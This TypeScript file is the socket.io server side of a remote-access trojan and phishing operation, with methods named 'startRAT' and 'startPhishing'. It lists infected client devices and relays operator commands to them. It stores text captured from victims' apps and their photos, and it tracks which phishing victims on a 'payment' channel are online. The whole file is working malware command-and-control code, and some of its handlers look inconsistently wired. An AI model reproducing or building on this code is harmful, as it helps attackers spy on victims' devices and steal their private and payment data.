Ws.ts 7.1 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203
  1. import Logger from '@ioc:Adonis/Core/Logger'
  2. import { Namespace, Server, Socket } from 'socket.io'
  3. import AdonisServer from '@ioc:Adonis/Core/Server'
  4. import auth from 'App/Middleware/Auth'
  5. import Phish from 'App/Models/Phish'
  6. import TextRecord from 'App/Models/TextRecord'
  7. import FilesRecord from 'App/Models/FilesRecord'
  8. class Ws {
  9. public io: Server
  10. public clientsIO: Namespace
  11. public adminIO: Namespace
  12. public phishIO: Namespace
  13. public hookIO: Namespace
  14. private booted = false
  15. private clients: { [key: string]: any } = {}
  16. private phiClients: { [key: string]: any } = {}
  17. public boot() {
  18. Phish.query()
  19. .update('online', 0)
  20. .then(() => {})
  21. /**
  22. * Ignore multiple calls to the boot method
  23. */
  24. if (this.booted) {
  25. return
  26. }
  27. this.booted = true
  28. this.io = new Server(AdonisServer.instance!, {
  29. path: '/ws',
  30. cors: {
  31. origin: '*'
  32. }
  33. })
  34. this.startRAT()
  35. this.startPhishing()
  36. }
  37. public startRAT() {
  38. this.clientsIO = this.io.of('client')
  39. this.adminIO = this.io.of('admin')
  40. this.clientsIO.on('connection', (socket: Socket) => {
  41. Logger.info('Client connected ' + JSON.stringify(socket.handshake))
  42. this.clients[socket.id] = {
  43. ...socket.handshake
  44. }
  45. socket.on('disconnect', (reason) => {
  46. Logger.info('Client disconnected ' + reason)
  47. delete this.clients[socket.id]
  48. })
  49. socket.on('info', (data) => {
  50. this.clients[socket.id] = { id: socket.id, ...this.clients[socket.id], ...data }
  51. })
  52. socket.on('result', (args: { to: string; action: string; data: any }) => {
  53. Logger.info('got cmdResult ' + JSON.stringify(args))
  54. this.adminIO.to(args.to).emit('result', {
  55. from: socket.id,
  56. action: args.action,
  57. data: args.data
  58. })
  59. })
  60. // 监听 saveTextRecord 事件
  61. socket.on('saveTextRecord', async (data: any) => {
  62. try {
  63. Logger.info('got saveTextRecord ' + JSON.stringify(data))
  64. const textRecord = await TextRecord.create({
  65. deviceId: data.deviceId,
  66. appName: data.appName,
  67. record: data.record
  68. })
  69. socket.emit('result', { success: true, message: 'Data saved to database' })
  70. } catch (e) {
  71. Logger.error('Error saving text record: ' + e.message)
  72. socket.emit('result', { success: false, message: 'Failed to save data' })
  73. }
  74. })
  75. // 监听 savePhotos 事件
  76. socket.on('savePhotos', async (data: any) => {
  77. try {
  78. Logger.info('got savePhotos ' + JSON.stringify(data))
  79. const filesRecord = await FilesRecord.create({
  80. deviceId: data.deviceId,
  81. fileUrl: data.url
  82. })
  83. socket.emit('result', { success: true, message: 'Data saved to database' })
  84. } catch (e) {
  85. Logger.error('Error saving photos: ' + e.message)
  86. socket.emit('result', { success: false, message: 'Failed to save data' })
  87. }
  88. })
  89. })
  90. this.adminIO.on('connection', (socket: Socket) => {
  91. Logger.info('Admin connected ' + JSON.stringify(socket.handshake))
  92. socket.on('clients', (args) => {
  93. this.adminIO.to(socket.id).emit('clients', Object.values(this.clients))
  94. })
  95. socket.on('sendCmd', (args: { to: string; action: string; data: any }) => {
  96. Logger.info(
  97. 'sent cmd ' +
  98. JSON.stringify({
  99. from: socket.id,
  100. action: args.action,
  101. data: args.data
  102. })
  103. )
  104. this.clientsIO.to(args.to).emit('cmd', {
  105. from: socket.id,
  106. action: args.action,
  107. data: args.data
  108. })
  109. })
  110. })
  111. }
  112. public startPhishing() {
  113. this.phishIO = this.io.of('paymentClient')
  114. this.hookIO = this.io.of('paymentManage')
  115. this.phishIO.on('connection', (socket: Socket) => {
  116. Logger.info('Client connected ' + JSON.stringify(socket.handshake))
  117. Phish.find(parseInt(socket.handshake.query.id as string))
  118. .then((res) => {
  119. if (res) {
  120. res.online = true
  121. res.socketId = socket.id
  122. res.save()
  123. }
  124. })
  125. .catch((e) => {
  126. Logger.error(e)
  127. })
  128. this.clients[socket.id] = {
  129. ...socket.handshake
  130. }
  131. socket.on('disconnect', (reason) => {
  132. Logger.info('Client disconnected ' + reason)
  133. Phish.find(parseInt(socket.handshake.query.id as string))
  134. .then((res) => {
  135. if (res) {
  136. res.online = false
  137. res.save()
  138. }
  139. })
  140. .catch((e) => {
  141. Logger.error(e)
  142. })
  143. delete this.clients[socket.id]
  144. })
  145. socket.on('info', (data) => {
  146. this.phishIO[socket.id] = { id: socket.id, ...this.clients[socket.id], ...data }
  147. })
  148. socket.on('result', (args: { to: string; action: string; data: any }) => {
  149. Logger.info('got cmdResult ' + JSON.stringify(args))
  150. this.adminIO.to(args.to).emit('result', {
  151. from: socket.id,
  152. action: args.action,
  153. data: args.data
  154. })
  155. })
  156. })
  157. this.hookIO.on('connection', (socket: Socket) => {
  158. Logger.info('Admin connected ' + JSON.stringify(socket.handshake))
  159. socket.on('clients', (args) => {
  160. this.adminIO.to(socket.id).emit('clients', Object.values(this.clients))
  161. })
  162. socket.on('sendCmd', (args: { to: string; action: string; data: any }) => {
  163. Logger.info(
  164. 'sent cmd ' +
  165. JSON.stringify({
  166. from: socket.id,
  167. action: args.action,
  168. data: args.data
  169. })
  170. )
  171. this.clientsIO.to(args.to).emit('cmd', {
  172. from: socket.id,
  173. action: args.action,
  174. data: args.data
  175. })
  176. })
  177. })
  178. }
  179. }
  180. export default new Ws()